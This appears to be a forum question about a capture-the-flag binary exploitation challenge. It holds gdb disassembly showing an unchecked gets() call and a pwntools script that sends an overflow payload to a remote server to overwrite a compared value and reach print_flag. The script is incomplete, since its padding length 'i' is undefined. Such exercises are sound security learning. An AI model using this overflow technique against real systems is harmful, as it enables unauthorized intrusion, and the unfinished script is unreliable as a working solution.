PWN challenge

[inspectorderick]

Hello i've a problem to solve, a binary exploitation

this is my output gdb

0x004008a6 <+301>: lea eax,[ebp-0x3b]
0x004008a9 <+304>: push eax
0x004008aa <+305>: call 0x400520 <gets@plt>
0x004008af <+310>: add esp,0x10
0x004008b2 <+313>: cmp DWORD PTR [ebp-0x10],0xdea110c8
0x004008b9 <+320>: jne 0x4008c2 <main+329>
0x004008bb <+322>: call 0x4006fd <print_flag>
0x004008c0 <+327>: jmp 0x4008d4 <main+347>

 

this is my program in python

 

from pwn import *



r = remote("***************.com", 4321)
payload = "A"*i + "\xc8\x10\xa1\xde"
r.send("Sir Lancelot of Camelot\n")

print r.recv(4096)

r.send("To seek the Holy Grail.\n")

print r.recv(4096)


r.send(payload)

print r.recv(4096)

My goal is to jump the comparaison to access the function witch print the flag

some advise or help are welcome

thanks